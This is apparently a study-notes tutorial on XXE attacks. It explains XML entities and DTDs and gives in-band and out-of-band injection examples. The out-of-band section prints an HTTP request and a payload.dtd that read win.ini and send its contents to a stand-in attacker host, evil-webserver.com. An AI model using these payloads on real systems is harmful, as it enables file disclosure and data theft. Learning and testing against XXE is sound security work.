Vulnerability: XXE

XXE = XML External Entity

This is a type of attack that targets `XML`[extensible markup language] parsers. The attack works by loading an `External Entity` into valid `XML`. This attack can lead to `data disclosure`, `dos`,`ssrf` and even `port scanning` of local resources.

XML and its ENTITYs

XML Entities

A way of representing an item of data within an `XML` doc. Certain entities are built in to the spec i.e `&lt;` and `&gt;` represent the chars `< >`, these are metachars use to denote `XML` tags and must be represented using their entities when they appear in data.

```
<!DOCTYPE foo [ <!ENTITY myentity "my entity val" > ]>
```

Now we could use `&myentity;` and it would be replaced with `"my entity value"`.

What is a DTD

A DTD is a Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document. A DTD can be `Internal` or `External`, or a hybrid of the two.

Why use a DTD

With a DTD, independent groups of people can agree on a standard DTD for interchanging data. An application can use a DTD to verify that XML data is valid.

Internal DTD Declaration

If the DTD is declared inside the XML file, it must be wrapped inside the `<!DOCTYPE>` definition:

```
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
```

```
<body>Text here</body>
</note>
```

An External DTD Declaration

If the DTD is declared in an external file, the `<!DOCTYPE>`definition must contain a reference to the DTD file.

What are `XML external entities`?

A custon entity whose definition is located outside of the `DTD` where they are declared.

The declaration of an external entity uses the `SYSTEM` keyword and must specify a `URL` from which the value of the entity should be loaded.

```
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> // the external dtd is being declared
here with the SYSEM keyword
<note> // the dtd being being used -> not malicious YET
        <to>Tove</to>
        <from>Jani</from>
        <heading>Reminder</heading>
        <body>Text here</body>
</note>
```

Here is what the `dtd` file looks like

```
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
```

`ENTITY` tags within are simply shortcut to a special character that can be reference by calling the XML file. Notice that the last `ENTITY` tag is actually pulling the contents of a local file via the `SYSTEM` word.

```
<!DOCTYPE STRUCTURE [
<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ENTITY VERSION “1.1”>
<!ENTITY file SYSTEM “file:///c:/server_files/application.conf” >
]>
```

The above `.dtd` file might be used as follows

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPES foo SYSTEM "http://validserver.com"/formatting.dtd">
<specifications>&file;</specifications>
```

`formatting.dtd` is called using `DOCTYPE` tags and the XML file can reference the `ENTITYs` and structure within.

`ENTITYs` can be used without formality of full `.dtd` file. By calling `DOCTYPE` and using square brackets `[]`, you can reference `ENTITY` tags for use in only that XML file. Below the `application.conf` file is referenced for use in `<configuration></configuration>` tags, without a full `.dtd` file to host it:

```
<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<!DOCTYPE example [
<!ELEMENT example ANY >
<!ENTITY file SYSTEM “file:///c:/server_files/application.conf” >
]>
<configuration>&file;</configuration>
```

Summary

- DTD files can be external or internal to an XML file
- ENTITYs exist within DTD files
- ENTITYs can call local system files

Injection

When data is passed in a `HTTP` request it opens the possibility of abuse from the user. In the case of a form wrapped in XML being sent to the server to be processed:

- Intercept vulnerable request with a web proxy
- Add injected ENTITY tag and `&xxe;` variable reference
  - ensure the `&xxe;` reference is with data that will be returned and displayed
- Release the intercept POST request

Out of band

While some attacks might be as easy as that there are times where it is not as easy and here we turn to those external .dtd files mentioned. DOCTYPES references to external .dtd files allow us to conduct this attack entirely `out-of-band`

The following request contains a .dtd from a server the attacker controls - here is the request:

```
POST /notes/savenote HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
```

```
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml;charset=UTF-8.
Host: myserver.com

<?xml version=”1.0″ ?>
<!DOCTYPE hack [
<!ELEMENT x ANY >
<!ENTITY % alpha SYSTEM “https://evil-webserver.com/payload.dtd”>
%alpha;
%bravo;
]>
<x>&charlie;</x>
<note>
<to>Alice</to>
<from>Bob</from>
<header>Sync Meeting</header>
<time>1200</time>
<body>Meeting time changed</body>
</note>
```

And here is what that `payload.dtd` contains

```
<?xml version=”1.0″ encoding=”utf-8″ ?>
<!ENTITY % data SYSTEM “file:///c:/windows/win.ini”>
<!ENTITY % bravo “<!ENTITY % charlie SYSTEM
‘https://evil-webserver.com/?%data;’>”>
```

- Client sends the POST request with the injected XML code
    - The server, via the XML parser, parses the XML from top to bottom, reaching the injected ENTITY
- The server requests `payload.dtd` from `https://evil-webserver.com`
- `https://evil-webserver.com` responds with `payload.dtd`
- The code within payload.dtd is parsed by the XML parser, which reads the contents of win.ini and sends it as a parameter in an HTTP GET request back to `https://evil-webserver.com`

The extracted data can be viewed by the attacker in their web server logs.

Learn more

XXE Payloads

Synack

PortSwigger Academy

H1 Report

PortSwigger

Cracking the lens: targeting HTTP's hidden attack-surface

Burp University